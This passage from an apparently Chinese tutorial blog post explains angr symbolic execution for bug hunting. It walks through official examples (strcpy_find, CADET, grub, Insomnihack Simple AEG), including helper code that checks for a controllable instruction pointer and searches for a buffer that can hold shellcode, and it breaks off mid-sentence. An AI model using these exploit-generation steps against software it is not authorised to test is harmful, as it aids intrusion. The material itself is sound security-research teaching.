121);">&#39;my_arg&#39;</span>, <span style="color: rgb(209, 154, 102);">10</span>*<span style="color: rgb(209, 154, 102);">8</span>) <span style="color: rgb(92, 99, 112);font-style: italic;">#10 byte long str</span><br/>ret_val = check_func(my_sym_arg)<br/>stdout = check_func.result_state.posix.dumps(<span style="color: rgb(209, 154, 102);">1</span>)<br/><span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;Stdout : {}&#34;</span>.<span style="color: rgb(230, 192, 123);">format</span>(stdout))</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>事实上，callable对具体值的分析和跟踪更有效果，如果使用符号化变量的话，直到所有的路径全部执行完毕才会返回结果，这很可能招致路径爆炸问题进而耗费完所有的内存。为了解决这个问题可以使用call state，这样的话，angr会初始化一个状态来调用单个函数，对于callable来说，它会创建一个状态然后运行直到所有路径遍历，但是call sate可以使用simulation manager提供的探索func和step运行功能来缓解callable的问题。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">my_sym_arg = claripy.BVS(<span style="color: rgb(152, 195, 121);">&#39;my_arg&#39;</span>, <span style="color: rgb(209, 154, 102);">10</span>*<span style="color: rgb(209, 154, 102);">8</span>) <span style="color: rgb(92, 99, 112);font-style: italic;">#10 byte long str</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">#Same calling convention from earlier</span><br/>state = p.factory.call_state(find_func.addr, my_sym_arg, cc=cc)<br/>simgr = p.factory.simgr(state)<br/>simgr.explore(find=crack_me_good_addr)<br/>found_state = simgr.found[<span style="color: rgb(209, 154, 102);">0</span>]<br/>my_input = found_state.se.<span style="color: rgb(230, 192, 123);">eval</span>(my_sym_arg, cast_to=<span style="color: rgb(230, 192, 123);">bytes</span>).decode(<span style="color: rgb(152, 195, 121);">&#34;utf-8&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;ignore&#34;</span>)<br/><span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;One solution : {}&#34;</span>.<span style="color: rgb(230, 192, 123);">format</span>(my_input))</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>不过对于一个simulation manager来说，在探索的时候可以加入step_func来实现内存漏洞的挖掘。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">simgr.explore(find=crack_me_good_addr, step_func=check_mem_corruption)</code></pre><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">分析例子</h2><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">例子都在angr官方的examples里面，我就不多说内容了，只写结论，想要了解还是自己动手操作一波。</p></blockquote><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">strcpy_find</h3><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">该例子主要是为了帮助学习寻找内存错误问题。</p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该代码例子中出现：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">cfg = project.analyses.CFG(fail_fast=<span style="color: rgb(86, 182, 194);">True</span>)</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>这将使得angr无视错误继续向下处理，一定程度上加快angr的分析速度。同时该例子其实利用了程序的特点，从argv进行参数的输入，然后利用对于strcpy参数的分析来判断strcpy的参数是否可控，进而判断是否具备发生漏洞的潜在可能。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>这种思想的潜在推广就是对所有的内存处理函数进行推广，然后判断漏洞是否产生。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">CADET</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>这个是一个对于栈溢出的检测，这里得到了关于unconstrained state最直接的解释：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">    <span style="color: rgb(97, 174, 238);">#overwriting the return pointer with user-controllable data will generate</span><br/>    <span style="color: rgb(97, 174, 238);">#an <span style="color: rgb(152, 195, 121);">&#34;unconstrained&#34;</span> state: the symbolic executor does not know how to proceed</span><br/>    <span style="color: rgb(97, 174, 238);">#since the instruction pointer can assume any value</span><br/>    <span style="color: rgb(97, 174, 238);">#by default angr discards unconstrained paths, so we need to specify the  </span><br/>    #save_unconstrained option</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>但是angr默认情况下会丢弃unconstained path，因此在启动的时候需要进行设置：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">sm = project.factory.simulation_manager(save_unconstrained=<span style="color: rgb(86, 182, 194);">True</span>)</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>但是这个例子存在一个问题就是，x86版本的例子直接通过step()是没办法直接获取到unconstrained状态的。其他的就没啥很特别的了。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">grub</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这个用到了特殊的库，先看一个文档提示：</p><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">if <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">auto_load_libs</code> is <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">False</code>, then external functions are unresolved, and Project will resolve them to a generic &#34;stub&#34; SimProcedure called <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ReturnUnconstrained</code>. It does what its name says: it returns a unique unconstrained symbolic value each time it is called.</p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在准备阶段，作者做的很好：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">    project = angr.Project(<span style="color: rgb(152, 195, 121);">&#39;crypto.mod&#39;</span>, auto_load_libs=<span style="color: rgb(86, 182, 194);">False</span>)<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># use libc functions as stand-ins for grub functions</span><br/>    memset = angr.SIM_PROCEDURES[<span style="color: rgb(152, 195, 121);">&#39;libc&#39;</span>][<span style="color: rgb(152, 195, 121);">&#39;memset&#39;</span>]<br/>    getchar = angr.SIM_PROCEDURES[<span style="color: rgb(152, 195, 121);">&#39;libc&#39;</span>][<span style="color: rgb(152, 195, 121);">&#39;getchar&#39;</span>]<br/>    do_nothing = angr.SIM_PROCEDURES[<span style="color: rgb(152, 195, 121);">&#39;stubs&#39;</span>][<span style="color: rgb(152, 195, 121);">&#39;ReturnUnconstrained&#39;</span>]<br/>    project.hook_symbol(<span style="color: rgb(152, 195, 121);">&#39;grub_memset&#39;</span>, memset())<br/>    project.hook_symbol(<span style="color: rgb(152, 195, 121);">&#39;grub_getkey&#39;</span>, getchar())<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># I don&#39;t know why, but grub_xputs is apparently not the function but a pointer to it?</span><br/>    xputs_pointer_addr = project.loader.find_symbol(<span style="color: rgb(152, 195, 121);">&#39;grub_xputs&#39;</span>).rebased_addr<br/>    xputs_func_addr = project.loader.extern_object.allocate()<br/>    project.hook(xputs_func_addr, do_nothing())<br/>    project.loader.memory.pack_word(xputs_pointer_addr, xputs_func_addr)</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>这里作者直接对目标函数进行了hook使得他们在模拟执行的时候可以正常运行，然后自写了angr的探索策略，通过直接对目标函数进行模拟的方法来进行漏洞挖掘。最后调用的是find_bug来解决问题，这里特殊的是利用了call_state来初始化状态。同时采用了use_technique的方法自写探索策略，他写的探索策略有一些优点，比如过滤了大量的重复状态，这极大的节省了符号执行过程中的性能消耗。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">崩溃结果：input: b&#39;\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\r&#39;</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">原因：</p><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">根据你提供的输入，我们可以看到你输入了12个退格符(<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">\x08</code>)和一个回车符(<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">\r</code>)。在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">grub_password_get</code>函数中，当输入的字符是退格符时，会将输入的指针回退一个字节（即向左移动一个字符）。因此，这个输入实际上是将初始缓冲区中的前11个字符删除掉，并在最后输入了一个回车符，表示输入结束。</p><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">在angr执行时，它尝试通过符号执行模拟这个函数的执行，它会在第一个循环迭代中执行<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">grub_getkey()</code>并获得输入的第一个字符。由于输入的第一个字符是退格符，它会将当前输入指针向左移动一个字符，并继续等待下一个输入字符。在第二次迭代中，angr又执行了<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">grub_getkey()</code>，但是由于输入指针已经被移动了一个字符，这个时候输入指针已经指向了地址0处。因此，在angr执行到地址0处时，会引发<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">SimUnsatError</code>异常，表示出现了不可满足的情况。这通常是由于符号执行过程中出现了不一致或无法解决的约束条件，导致无法继续进行符号执行。</p></blockquote><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Insomnihack Simple AEG</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>这里面的demo是一个很简单的缓冲区溢出的漏洞（堆溢出），作者采用的方法是直接不断的对simgr 进行step()，直到目标出现不可约束状态，在找到不可约束状态之后对其是否可以符号化进行判断：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">fully_symbolic</span>(state, variable):<br/>    <span style="color: rgb(152, 195, 121);">&#39;&#39;&#39;<br/>    check if a symbolic variable is completely symbolic<br/>    &#39;&#39;&#39;</span><br/>    <span style="color: rgb(198, 120, 221);">for</span> i <span style="color: rgb(198, 120, 221);">in</span> <span style="color: rgb(230, 192, 123);">range</span>(state.arch.bits):<br/>        <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">not</span> state.solver.symbolic(variable[i]):<br/>            <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">False</span><br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">True</span></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>这样可以证明，目标状态的跳转地址是否可控，以此来判断目标是一个可控的漏洞，接下来就是判断能不能在这个状态里面找到用户可控的缓冲区：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">find_symbolic_buffer</span>(state, length):<br/>    <span style="color: rgb(152, 195, 121);">&#39;&#39;&#39;<br/>    dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user&#39;s<br/>    control<br/>    &#39;&#39;&#39;</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># get all the symbolic bytes from stdin</span><br/>    stdin = state.posix.stdin<br/>    sym_addrs = [ ]<br/>    <span style="color: rgb(198, 120, 221);">for</span> _, symbol <span style="color: rgb(198, 120, 221);">in</span> state.solver.get_variables(<span style="color: rgb(152, 195, 121);">&#39;file&#39;</span>, stdin.ident):<br/>        sym_addrs.extend(state.memory.addrs_for_name(<span style="color: rgb(230, 192, 123);">next</span>(<span style="color: rgb(230, 192, 123);">iter</span>(symbol.variables))))<br/>    <span style="color: rgb(198, 120, 221);">for</span> addr <span style="color: rgb(198, 120, 221);">in</span> sym_addrs:<br/>        <span style="color: rgb(198, 120, 221);">if</span> check_continuity(addr, sym_addrs, length):<br/>            <span style="color: rgb(198, 120, 221);">yield</span> addr</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>然后利用check_continuity来判断内存是否足够容纳shellcode:</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 